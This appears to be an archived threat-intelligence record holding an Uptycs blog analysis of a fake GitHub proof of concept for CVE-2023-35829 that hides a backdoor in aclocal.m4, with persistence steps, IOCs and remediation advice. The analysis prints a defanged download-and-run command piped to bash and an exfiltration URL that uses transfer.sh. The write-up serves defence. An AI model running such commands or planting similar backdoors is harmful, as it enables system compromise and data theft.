{
	"id": "96ebce6f-89fd-4835-9f5f-e0eba0640128",
	"created_at": "2026-04-06T01:30:42.227089Z",
	"updated_at": "2026-04-10T03:24:30.149568Z",
	"deleted_at": null,
	"sha1_hash": "99e2d75e84c3cd83b20b057d166548074da99223",
	"title": "New PoC Exploit Found: Fake Proof of Concept with Backdoor Malware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5066315,
	"plain_text": "New PoC Exploit Found: Fake Proof of Concept with Backdoor\r\nMalware\r\nBy Uptycs Threat Research\r\nPublished: 2023-07-12 · Archived: 2026-04-06 01:21:46 UTC\r\nThreat Researchers: Nischay Hegde and Siddartha Malladi\r\nA deceptive twist has appeared within cybersecurity norms—a proof of concept (PoC) that, rather than\r\ndemonstrating a vulnerability, stealthily harbors a hidden backdoor. Recently discovered by the Uptycs threat\r\nresearch team, our finding particularly impacts the security research community.\r\nAs their primary users, security researchers rely on PoCs to understand potential vulnerabilities by way of\r\ninnocuous testing. In this instance, the PoC is a wolf in sheep's clothing, harboring malicious intent under the\r\nguise of a harmless learning tool. Its concealed backdoor presents a stealthy, persistent threat. Operating as a\r\ndownloader, it silently dumps and executes a Linux bash script, all the while disguising its operations as a kernel-level process.\r\nIts persistence methodology is quite crafty. Used to build executables from source code files, it leverages the make\r\ncommand to create a kworker file and adds its file path to the bashrc file, thus enabling the malware to continually\r\noperate within a victim's system.\r\nThe backdoor has broad data theft capabilities. It can exfiltrate a wide array of data—from the hostname and\r\nusername to an exhaustive list of home directory contents. Moreover, an attacker can gain full access to a target\r\nsystem by adding their ssh key to the authorized_keys file.\r\nDespite its removal from GitHub, this malicious PoC has been widely shared, achieving significant engagement\r\nbefore its nefarious nature was exposed. For those who have executed it, the likelihood of data compromise is\r\nhigh. Therefore it’s crucial to:\r\nremove any unauthorized ssh keys\r\ndelete the kworker file\r\nremove the kworker path from the bashrc file\r\ncheck /tmp/.iCE-unix.pid for potential threats\r\nWhile it can be challenging to distinguish legitimate PoCs from deceptive ones, adopting safe practices such as\r\ntesting in isolated environments (e.g., virtual machines) can provide a layer of protection.\r\nAlthough not entirely new, this trend of spreading malware through PoCs poses a significant concern, and it's\r\nlikely we’ll see this tactic continue to evolve. The Uptycs threat research team remains vigilant in uncovering such\r\nthreats, thereby helping the security research community to stay abreast of evolving cybersecurity risks.\r\nUnveiling the Fake PoC\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 1 of 15\n\nWhile testing PoCs of various CVEs, our team encountered one claiming to address CVE-2023-35829 (a critical\r\nvulnerability), its unusual activity being detected by Uptycs XDR. Significant irregularities suggested it might be\r\ndeceptive in nature, prompting us to question its legitimacy.\r\nSuspicious activity included unexpected network connections, unusual data transfers, and unauthorized system\r\naccess attempts. Further investigation fleshed out aclocal.m4 as the initial file requiring additional analysis.\r\nFigure 1 – PoC repository files\r\naclocal.m4 is normally part of automake, used by autoconf to consolidate macros. And it’s usually not an elf\r\n(executable and linkable format) file as it is here.\r\nFigure 2 shows how make triggers src/aclocal.m4, which is the focus of this article.\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 2 of 15\n\nFigure 2 – The offending makefile\r\nTechnical Analysis\r\nThe binary’s main function begins with an interesting string—kworker (figure 3).\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 3 of 15\n\nFigure 3 – The start of the binary\r\nLine 79 checks if the binary is named kworker. If true, flow passes to the else condition in line 84. If not, two\r\nfunctions are executed called copy_to_kworker() and add_to_bashrc(). Establishing backdoor persistence, these\r\ncopy the current file to $HOME/.local/kworker and add its file path to the $HOME/.bashrc file. \r\nTo conceal its presence, the program embeds itself in bashrc. The check_for_pidfile() function (figure 4) helps\r\nensure that multiple instances of the same program aren’t running simultaneously. \r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 4 of 15\n\nFigure 4 – Check_for_pidfile() function\r\nAfter checking the /tmp/.ICE-unix.pid path, it writes the PID of the currently running process if no function has\r\nused flock(2) to restrict file access. The program proceeds only if the main function returns zero (0), indicating the\r\ncurrent process is exclusive. \r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 5 of 15\n\nFigure 5 – Main function else portion\r\nAchieved by forking the program, a new string [kworker/8:3] is created In the main function to obscure the\r\noriginal command line parameters. Subsequently, the parent process executes the curl_func() function, which uses\r\nthe libcurl library to download a URL that is obfuscated so as basic static analysis can’t easily find it. The URL is\r\nhxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php; it contains a bash script that is run if the curl request succeeds. \r\n(libcurl provides programmatic access to curl; it can be directly included in a binary {statically compiled} or\r\ncalled dynamically.)\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 6 of 15\n\nFigure 6 – Excerpt from curl_func()\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 7 of 15\n\nFigure 7 – Code portion that downloads the bash script\r\nThe %s variable is replaced by the curl request output, which implies that the following is the command run by\r\nkworker:\r\nsh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2\u003e\u00261 \u003e /dev/null\r\nDeconstructing the Bogus PoC\r\nThis PoC is copied from an old, legitimate PoC of a Linux kernel vulnerability, CVE-2022-34918. On the surface,\r\nit appears to be an authentic demonstration, complete with strings that mimic genuine output. But the true nature\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 8 of 15\n\nof this deception becomes apparent upon closer examination of its code—particularly the discrepancies found\r\nwithin modprobe.c.\r\nA new_sn() function in the fake modprobe.c allocates memory, attempts to open a specific file, closes the file if it\r\nwas successfully opened, generates a random number, then pauses program execution for a random duration.\r\nFigure 8 – Comparison of modprobe.c between the PoCs\r\nA prepare_root_shell() function prints some strings and calls the setup_modprobe_payoad() function based on the\r\ncondition. It exits with a status code of 0 after completing these operations.\r\nFigure 9 – Code portion that prints legitimate looking strings\r\nThe aforementioned setup_modprobe_payoad() assigns a value to the filename variable, then executes a /bin/sh\r\ncommand to open a new system shell. It then frees the memory allocated to filename.\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 9 of 15\n\nFigure 10 – Code segment that shows it is faking the shell\r\nIn its entirety, the bogus PoC sleeps for a random duration, prints legitimate-looking strings, ultimately launching\r\na /bin/bash shell.\r\nCuriously, when executing whoami within this shell, it falsely reports the user ID as root. This deception is\r\naccomplished by exploiting the difference in the user namespace ID inside and outside the PoC root shell.\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 10 of 15\n\nFigure 11 – Listing namespaces inside PoC root shell\r\nFigure 12 – Listing namespaces outside PoC root shell\r\nAs seen in figures 11 and 12, the user namespace differs between the two shells, implying they’re using two\r\ndistinct namespaces.\r\n(Linux kernel namespaces permit isolation of system resources. Each provides an independent environment for\r\nspecific resources (e.g., PIDs, network interfaces, file systems, et al.). Such isolation helps prevent interference\r\nand provides a level of security between processes or components running on the system.)\r\nHere, the phony PoC takes advantage of the namespace concept to create the illusion of being a root shell.\r\nSpecifically, it manipulates the user namespace, which is responsible for managing user and group identities\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 11 of 15\n\nwithin a given process or container. But in reality, granted privileges are limited to the /bin/bash shell within a\r\ngiven namespace.\r\nDetection through Uptycs XDR\r\nUsing Uptycs XDR, we detected that the binary primarily acts as a downloader, retrieving a script from a remote\r\nsource and executing it on the compromised system. Upon execution, the downloaded script initially accesses the\r\n/etc/passwd file. Then it modifies the ~/.ssh/authorized_keys to grant unauthorized access and employs curl to\r\nexfiltrate data via transfer[.]sh. In correlation with the MITRE ATT\u0026CK matrix, the combination of these actions\r\ncaused a medium-level detection in Uptycs XDR. \r\nFigure 13 – Uptycs XDR detection\r\nThe following is a URL example used to exfiltrate data:\r\nhxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/\u003cusername\u003e[.]txt\r\n(Note: The domain that hosts the script has been taken down, so a detailed analysis cannot be done in this article.)\r\nConclusion\r\nThe Uptycs team has seen this modus operandi earlier; spreading malware through a malicious PoC is not new.\r\nThe same profile, ChriSander22, is circulating another bogus PoC for VMware Fusion CVE-2023-20871. Its\r\ncontents are the same as CVE-2023-35829, with the same aclocal.m4 triggering installation of the hidden\r\nbackdoor. Both of ChriSander22’s other repositories are down, but we cannot confirm whether it was Github that\r\ndid this or the profile owner.\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 12 of 15\n\nFigure 14 –\r\nDirectory of phony CVE-2023-20871 PoC\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 13 of 15\n\nFigure 15 – Github profile page of fake PoC\r\nFigure 16 – Another Github profile page of fake PoCs\r\nIOCs\r\nFile name sha256\r\naclocal.m4 caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c\r\nURLs\r\nhxxp[:]//cunniloss[.]accesscam[.]org\r\nhxxp[:]//transfer[.]sh\r\nIP 81[.]4[.]109[.]16\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 14 of 15\n\nSource: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nhttps://www.uptycs.com/blog/new-poc-exploit-backdoor-malware\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
	],
	"report_names": [
		"new-poc-exploit-backdoor-malware"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439042,
	"ts_updated_at": 1775791470,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/99e2d75e84c3cd83b20b057d166548074da99223.pdf",
		"text": "https://archive.orkl.eu/99e2d75e84c3cd83b20b057d166548074da99223.txt",
		"img": "https://archive.orkl.eu/99e2d75e84c3cd83b20b057d166548074da99223.jpg"
	}
}